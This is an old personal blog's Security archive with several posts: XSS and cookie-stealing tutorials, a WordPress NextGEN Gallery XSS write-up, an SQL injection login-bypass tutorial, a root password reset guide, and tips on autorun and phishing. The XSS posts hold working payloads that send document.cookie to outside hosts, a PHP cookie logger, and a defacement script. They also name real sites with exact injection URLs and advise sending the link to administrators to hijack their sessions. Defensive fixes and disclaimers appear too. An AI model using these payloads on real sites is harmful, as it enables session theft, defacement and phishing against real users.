Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts

Friday, July 17, 2009

Wordpress nextGEN gallery XSS (Cross site scripting) Cookie Stealing Vulnerability

Intro

Now I need not tell what actually an XSS is, for that refer to here. To see what I mean check out the links given below. If you are using NextGen wordpress plugin, you are probably infected.

the Vulnerability

The vulnerability on this wordpress plugin is seen in the pid, album, gallery GET variables.

http://www.example.com/wordpress/next-gen-gallery/?album=1&
pid=3&
gallery=2


The GET variables on most sites are printed directly onto the <title> html tag on the pages. So if you try something like
next-gen-gallery/?album=1&pid=3&
gallery=2(XSS HOLE CAN BE HERE)

the Title becomes
<title>Picture 3 &laquo; Album 1 
&laquo; Gallery 2(XSS HOLE CAN BE HERE)
&laquo; Next Gen Gallery &laquo;
xxxxxxxxxxx WordPress Demo</title>


So we can insert our own custom HTML into the get query to include harmless HTML tags and dangerous SCRIPT tags to allow for Cross Site Scripting. Since Wordpress is in PHP, by default the magic_quotes_gpc would be turned on (for older PHP installations) the quotes would be escaped. So the simple tests for XSS like

next-gen-gallery/?album=1&pid=3&
gallery=2<title/><script>alert("hi");</script>

would fail. Since the quotes on the "hi" would appear as \"hi\". However why worry with the quotes when something like this works.

next-gen-gallery/?album=1&pid=3&
gallery=2<title/><script src=http://labs.kitiyo.com/store.php></script>


You can put any arbitrary code on the target file and it would get executed on the website. The following code can be put for stealing the cookie:
(new Image()).src = 'http://labs.kitiyo.com/store.php?cookie='+document.cookie+'&location='+window.location;
window.location = "URL back to the page";


Then post this link accessible to site administrators or other registered users to click and hand us over their session cookies ;)

I am infected now what to do? (for webmaster)
The XSS is due to blindly allowing to print the $_GET variable onto the title. The makers of this plug in should note this and please do the required validation on the GET parameter. Since the parameters are numeric this should not be so hard to apply a
is_numeric
check to the parameters.

Don't Believe? Check out these links (XSS Demo)


Happy hacking ...
Fix the bugs
Cheers....

Monday, June 29, 2009

SQL Injection: Tutorial Part 1

SQL Injection
What? What is SQL ? SQL stands for Structured Query Language, It is the most widely used database querying language. Before reading on I must say that this is an old technique and I dint want this to be posted because most sites have patched up this hole. I am posting this for the few websites I came across that had this vulnerability. If you have a website or planning to build one or administrates one please read on and fix the security holes.

Warning: The following methods may be illegal, given for illustration purpose only.

Most dynamic websites use a database server such as SQL Server from Microsoft, MySQL, etc. To demonstrate what SQL injection is, let us see a piece of code that is used as a login script. Most ASP websites use a code like this:

<%
user = Request.Form("user")
pass = Request.Form("pass")
SQL = "SELECT * FROM users WHERE username='" & user & _
"' AND password='" & pass & "'"
' Execute the SQL ...
%>


This is an example of a poor code which is vulnerable to SQL injection. In this example we can see that the user input of user and pass is directly included in the SQL query.

A legitimate user enters his details, say
user=digitalpbk
pass=password

The SQL query would be constructed as based on the code as
SELECT * FROM users WHERE user='digitalpbk' 
AND pass='password'


Now in order to demonstrate or find if there is an SQL injection hole, all an user has to do is add a ' (single quote) to the username and/or password fields, say
user=digitalpbk
pass=password'

Now the SQL query would be constructed as
SELECT * FROM users WHERE user='digitalpbk'
AND pass='password''


This will throw up an invalid SQL and if the errors are not supressed you will get a screen as shown below:



So if we modify the user input field pass such that
user=digitalpbk
pass=password' OR '1'='1,

the constructed SQL query would be
SELECT * FROM users WHERE user='digitalpbk'
AND pass='password' OR '1'='1'


Which is a valid query and it would always return true.

This validates the user and logs him in without even checking the username or password.

Prevention/Security Measures
Always escape or filter user input fields. It takes lesser time to do user input filtering (than posting about cyberlaws ). This type of vulnerability is because of the poor codes on the server which practically hands over you the control.

The method demonstrated here is just the teaser, you can do much more sinister things with SQL injection like dropping tables (which is not a good thing)

to be continued...

In case you find a website with such a vulnerability, please inform the webmaster of the condition and refer this page (in case they are ignorant).

Be ethical
Happy Browsing...

Tuesday, March 3, 2009

Reset the root password on a linux box

Intro
The following steps were used to successfully reset the root password of a "Fedora 10" machine. In general, can be applied to any linux machine.


  1. GRUBWhile booting, after the initial splash and POST screen of the bios, the control transfers to GRUB. If there is just one linux operating system installed, the GRUB screen is bypassed to the booting screen, in that case just keep on pressing or tapping the ESC Button until you see the GRUB Menu.
  2. Edit Choose the OS you want to boot into and press "e" to edit.
  3. Edit Find the line that corresponds to kernel, and again press "e". Add the following line to the end of the line.
    single init=/bin/bash

    Then press enter, and then "b" to boot the OS. After booting you will get a root shell.

  4. Mounting the filesystem in readwrite mode: Type in the following command to remount the filesystem in read write mode.
    mount -o remount,rw / 

  5. Not doing this step might give the following error when running passwd, passwd: Authentication token lock busy.
  6. passwd Next just use the passwd command, and give a new root password, Now that's simple.

  7. Reboot or init 5


That's really all I did.

OR from the root shell, you can also edit the /etc/shadow file to remove the password.
OR copy the /etc/shadow /etc/passwd file and use John-The-Ripper software to try cracking the password.

Stuck? Let me know...


.___.__ .__ __ .__ ___. __
__| _/|__| ____ |__|/ |______ | | ______\_ |__ | | __
/ __ | | |/ ___\| \ __\__ \ | | \____ \| __ \| |/ /
/ /_/ | | / /_/ > || | / __ \| |_| |_> > \_\ \ <
\____ | |__\___ /|__||__| (____ /____/ __/|___ /__|_ \
\/ /_____/ \/ |__| \/ \/

a8888b.
d888888b.
8P"YP"Y88
8|o||o|88
8' .88
8`._.' Y8.
d/ `8b.
dP . Y8b.
d8:' " `::88b
d8" 'Y88b
:8P ' :888
8a. : _a88P
._/"Yaa_: .| 88P|
jgs \ YP" `| 8P `.
a:f / \.___.d| .'
`--..__)8888P`._.'

Saturday, October 20, 2007

Disable Autorun Windows XP

Do this very important!!

Most viruses uses the autorun.inf to get itself infected on your computer. Autorun.inf is a small file that instructs the windows os to do when the CD is inserted into the computer. In genuine cases , it runs a setup in case of a Software Installation Disc. In the other case it may run a virus and gets your system infected. All you got to do to get the virus is put the CD. Same is the case for Mass Storage Devices like Memory Sticks, Pen Drives, Flash Drives etc.

So Disable your Autorun now


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Cdrom\Autorun Change from 1 to 0


To disable Autoplay of all drives
Start > Run > gpedit.msc

Enable : Computer Configuration > Administrative Templates > System > Turn Off Autoplay

Friday, January 5, 2007

Protect yourselves from phishing

Phishing? Haven't heard that...

Phishing is very similar to fishing. In fishing, we put a bait and wait for the fish to catch it. In Phishing, a fraudsters acting as a genuine bank employee or web admin, sents you an email (the bait) asking for confidential and personal data, that could potentially harm you (Its not nice to see your savings balance to drop to ZERO, right?)
Fraudsters are getting smarter and equipping with techniques that almost fool you. So now its our turn to get smart and fight back.

Common methods of phishing

Most phishing scams start from fake e-mails that arise from compromised mail servers across the world, or from zombie computers called botnets. Phishing mails will be asking for confidential data like PIN numbers, Bank account id and passwords, or anything personal. There would be some links in the mail that redirects to some compromised server, which would be very similar to the legitimate site.
Another common scam is someone asking for your bank account details to help them transfer money, and you will get a fair share of it.
Or you have won a big sum of money in some lottery in some unknown place, and you have to provide the bank account details to get the money.

If you fall for these scams, most probably you will loose everything you have.

How to get smart?

Phishing is mostly successful because of ignorance from the part of customers and the thought of making easy money. So its time to get smart!
Phishing mails
+ are mass mailed, So...
+ It would not contain your name
+ It would not contain any personal info about you that was provided to the legitimate organization.
+ It would not have a valid source. If your email client can display advanced headers, please go through the headers if you suspect of a phishing scam.
+ It may contain grammatical as well as spelling mistakes.

Now even if it contains your name and free from mistakes still you cannot rule out the phishing scenario.

Take a part of the phishing message and do a Web search on it using popular search engines like google, yahoo. From the search results you can identify wether it is scam or original.
In most cases, no banks will never ask you to enter your PIN or similar sensitive data through mails.
You can also mail the legitimate organization for a confirmation on the email.

Still you think its legitimate?

There will be a link in the email where you are supposed to enter the confidential data. Before clicking take a good look at the url. Most browsers show the target url on the status bar (bottom of the page), Is it the url ?
Copy the link address and paste it to a new text file and examine it from head to tail. Do a google search for the site, if anything related to phishing comes up...
One old phishing technique was to mask the target server using the

http://username:password@www.site.com

So the fraudster would mask his url as
http://www.urbanksite.com/somevrylongtext/todistractyou@www.evilsite.com

Now this technique has depricated since most browsers warn you.
Latest browsers like Firefox 2, Opera 9 and IE 7 also report about phishing when you are about to visit a phishing site. So upgrade your browser today.

A new technique that may not be yet known is the use of mirroring character to reverse the link, so that it appears legitimate.
But in this technique to the original link appears in the status bar or copy the link location and pasting shows you the original target url.

For webmasters and server administrators

Most spams and phishing scams originate from compromised sites due to poor design.
One experience I had is with a feedback form on a site which mails the feedbacks to me. Now some spammer creatively modified the feedback text so that the mail was sent to many!. Now thats a security risk!
So we must be careful when designing such systems, what I did was to replace the @ symbols in the feedback form with "(at)". Now that has stopped the spams from getting through to others.

Another poor design comes when there is XSS (Cross Site Scripting holes) vulnerabities in your site. A fraud/hacker can manipulate the site and put fake login pages on your server. So all XSS vulnerabilities must be scanned and removed.

Related

+ Intro to XSS
+ Mirroring character
+ Protect yourselves from Phishing

Spread the word

Please spread the info to help protect yourselves and those near and dear from this peril !
Any more info to share? Leave a comment...

Tuesday, December 19, 2006

XSS - Part 2 (Cookie stealing and Defacement)


Please note that this article is for educational purposes only, and is targeted at webmasters who have never seen this scenario. Please donot harm anyone.
Disclaimer : I am not responsible for any damages arising due to methods specified in this page. Webmasters please fix it ASAP.

In the first part we injected javascript successfully, and we got an alert. Now let us move to step 2 , defacing and cookie stealing.

Cookie Stealing using XSS
Cookie is used to manage sessions in browsers. Each person logged in gets a unique cookie, it is like a key to the site. So if you can get hold of this cookie, you have the key to enter the site. The site will welcome as the person from whom you stealed the cookie. Now let us look how to grab the cookie using cross site scripting.

For cookie stealing there must be an xss hole which can be injected through the url of the page like the one on propmart.com we discussed in first part.
Getting a cookie in javascript is accomplished by document.cookie, if somehow we could sent this to our page we have success. For this trick you will need to setup a page that logs the cookies that it recieves. The source of this page in php would be something like :
grabcookie.php


<?php
$handle=fopen("cookiejar.txt","a");
fputs($handle,"\n".$_GET["cookie"]."\n");
fclose($handle);
?>

Now to get the cookie to this page we would have to embed the following

<script>
var i=new Image();i.src = "http://myserver.com/myfolders/grabcookie.php?cookie="+document.cookie;
</script>

This code will send the cookies to your server. Now embeding the script in url can be done as discussed in part 1.

Next all you have to do is get this cookie (from cookiejar.txt) and set them in your browser. You can add and edit cookies in firefox with the cookie editor plugin.
Just a refresh will certainly get you in, if you are not too late (Cookie expires after sometime).


Defacing a website

To deface a website , the site must have a system which puts something you submit on their site (like guestbooks, feedbacks). Now if there is an XSS hole in such a page, you can embed the script to deface.

<script src="(location of script)"></script>

- OR -

<script>
document.body.innerHTML="<h1>XSS Defacing</h1>your HTML code here";
</script>

Either you can deface or craft a login page, which results in phishing.
Since it is dangerous to mention any examples, find out yourselves ...

Further reading and new XSS holes on
» ha.ckers.org

Eureka?
Let the world know ... post a comment.

Monday, December 18, 2006

Introduction to XSS Part 1


This document is purely for illustrative purposes only. I am not responsible for any losses arising to the websites mentioned below. Webmasters please be more alert...

What is it?

XSS stands for cross site scripting (CSS) Since CSS is already taken by Cascaded Style Sheets, it is named XSS X standing for a Cross. It is a kind of hacking which allows you to deface websites, loggin as another user etc.



Introduction

Let us start by looking how websites work. Starting with the simple ones, for example take this blog. It consists of a series of pages, connected by many links. This is just a simple case, now let us take a look at websites that are interactive. We are particularly interested in websites that allows us to post something and it appears on the site. The most simple example is google.com, when you search for something, it appears on their site. Or take the example of digg.com, reddit.com etc where you can submit information that is displayed on their site.



Phase 2 : Javascript injection

The next thing you try to do is put javascript into those areas which appear on the site. For example


<script>alert("hi");</script>

Most probably it wouldn't have work, because either you tried it on some well known site or you have to enter a little more code. Take the following example:
The following page has an XSS hole
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId=somesearchitem


But if you put
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId=<script>alert("xsjavascript:void(0)
Publishs");</script>

It didn't work. To understand why it didn't work we gotta look at its source.
This is how the rendered source (source that is outputted with your code) looks. To find out whether your injection has worked, take the source and search for your injected script. In this case it was found here :



Our script did not work because it was encapsulated within a string. So to break it out , we add extra code so that the new url would become :
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId="e;><script>alert("xss");</script><span style="e;

Now our script is properly executed and can be seen



The highlighted in red portion is the injected code. As you can see it works.
Another page with XSS hole is
http://www.propmart.com/mtrends/pm_marketrates.asp?city=Bangalore
and the injected url looks something like
http://www.propmart.com/mtrends/pm_marketrates.asp?
city=Bangalore-rates.jpg%22%3E%3Cscript%3Ealert(%22hi%22);%3C/script%3E%3Cimg%20src=%22Banglore

Now that you see that you can execute javascript on a clients browser, you can do anything from phishing, cookie stealing, defacement etc(Bookmark me and wait for more on this topic).
This is the case of simple sites that are not well made. Well made sites like google, yahoo and hotmail take this issue into serious consideration and have filters. Finding an XSS hole there is tough.
However some weak filters can be bypassed using the technologies mentioned in XSS Cheat Sheet

Message to Webmasters (specially of PropMart.com)

This article was written for you. Please provide a filter from Request to Response so that XSS can be prevented. Strip all html tags wherever it is ok to do so. Anti-XSS libraries are avalilable for use. For php users the strip_tags() function is a great way to prevent XSS in most cases.

Happy surfing...

More XSS holes ...
» 99acres.com : search for <script>alert(document.cookie);</script>
»Got another XSS hole ? Lemme know ....